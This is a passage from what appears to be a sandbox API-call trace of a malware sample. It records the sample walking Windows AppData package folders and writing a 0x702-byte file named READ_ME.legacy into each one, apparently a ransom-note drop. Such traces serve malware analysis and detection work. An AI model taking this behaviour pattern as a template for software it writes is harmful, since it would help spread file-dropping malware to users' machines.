nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.798] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0154.799] WriteFile (in: hFile=0x8f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.799] CloseHandle (hObject=0x8f0) returned 1 [0154.800] FindNextFileW (in: hFindFile=0x61de48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765b92ef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd01a8a59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x765b92ef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.800] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdade5d03, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe3c6ef11, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e308 [0154.800] FindNextFileW (in: hFindFile=0x61e308, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdade5d03, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe3c6ef11, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.800] FindNextFileW (in: hFindFile=0x61e308, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8156d87b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x36b47a04, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x36b47a04, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.800] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0154.801] WriteFile (in: hFile=0x8f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.802] CloseHandle (hObject=0x8f4) returned 1 [0154.802] FindNextFileW (in: hFindFile=0x61e308, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814fb197, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x36b93ea6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x36b93ea6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.802] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0154.803] WriteFile (in: hFile=0x8f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.803] CloseHandle (hObject=0x8f4) returned 1 [0154.803] FindNextFileW (in: hFindFile=0x61e308, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd04837c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x814d4f06, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.804] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0154.804] WriteFile (in: hFile=0x8f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.805] CloseHandle (hObject=0x8f4) returned 1 [0154.805] FindNextFileW (in: hFindFile=0x61e308, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x1edc172b, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x1edc172b, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.805] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0154.805] WriteFile (in: hFile=0x8f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.806] CloseHandle (hObject=0x8f4) returned 1 [0154.806] FindNextFileW (in: hFindFile=0x61e308, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c6ef11, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3c6ef11, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3c6ef11, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.806] FindNextFileW (in: hFindFile=0x61e308, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd082fb18, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x814d4f06, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.806] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0154.807] WriteFile (in: hFile=0x8f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.808] CloseHandle (hObject=0x8f4) returned 1 [0154.808] FindNextFileW (in: hFindFile=0x61e308, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814fb197, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712cc700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712cc700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.808] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0154.809] WriteFile (in: hFile=0x8f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.810] CloseHandle (hObject=0x8f4) returned 1 [0154.810] FindNextFileW (in: hFindFile=0x61e308, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda246550, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xda246550, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xda246550, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.810] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0154.810] WriteFile (in: hFile=0x8f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.811] CloseHandle (hObject=0x8f4) returned 1 [0154.811] FindNextFileW (in: hFindFile=0x61e308, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd095f4e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x814d4f06, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.811] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0154.812] WriteFile (in: hFile=0x8f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.812] CloseHandle (hObject=0x8f4) returned 1 [0154.812] FindNextFileW (in: hFindFile=0x61e308, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd095f4e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x814d4f06, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.812] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3da01e7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e2c8 [0154.813] FindNextFileW (in: hFindFile=0x61e2c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3da01e7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.813] FindNextFileW (in: hFindFile=0x61e2c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.813] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0154.829] WriteFile (in: hFile=0x8f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.830] CloseHandle (hObject=0x8f8) returned 1 [0154.830] FindNextFileW (in: hFindFile=0x61e2c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e25670, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e25670, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.830] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0154.831] WriteFile (in: hFile=0x8f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.832] CloseHandle (hObject=0x8f8) returned 1 [0154.832] FindNextFileW (in: hFindFile=0x61e2c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75dff3f8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.832] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0154.833] WriteFile (in: hFile=0x8f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.833] CloseHandle (hObject=0x8f8) returned 1 [0154.833] FindNextFileW (in: hFindFile=0x61e2c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75dff3f8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.833] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0154.834] WriteFile (in: hFile=0x8f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.835] CloseHandle (hObject=0x8f8) returned 1 [0154.835] FindNextFileW (in: hFindFile=0x61e2c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3da01e7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3da01e7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3dc95f1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.835] FindNextFileW (in: hFindFile=0x61e2c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75dff3f8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.835] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0154.836] WriteFile (in: hFile=0x8f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.836] CloseHandle (hObject=0x8f8) returned 1 [0154.840] WriteFile (in: hFile=0x8f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.841] CloseHandle (hObject=0x8f8) returned 1 [0154.841] WriteFile (in: hFile=0x8f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.845] CloseHandle (hObject=0x8f8) returned 1 [0154.845] WriteFile (in: hFile=0x8f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.846] CloseHandle (hObject=0x8f8) returned 1 [0154.857] WriteFile (in: hFile=0x8fc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.858] CloseHandle (hObject=0x8fc) returned 1 [0154.859] WriteFile (in: hFile=0x8fc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.860] CloseHandle (hObject=0x8fc) returned 1 [0154.861] WriteFile (in: hFile=0x8fc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.862] CloseHandle (hObject=0x8fc) returned 1 [0154.863] WriteFile (in: hFile=0x8fc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.864] CloseHandle (hObject=0x8fc) returned 1 [0154.864] WriteFile (in: hFile=0x8fc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.865] CloseHandle (hObject=0x8fc) returned 1 [0154.866] WriteFile (in: hFile=0x8fc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.867] CloseHandle (hObject=0x8fc) returned 1 [0154.867] WriteFile (in: hFile=0x8fc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.868] CloseHandle (hObject=0x8fc) returned 1 [0154.868] WriteFile (in: hFile=0x8fc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, 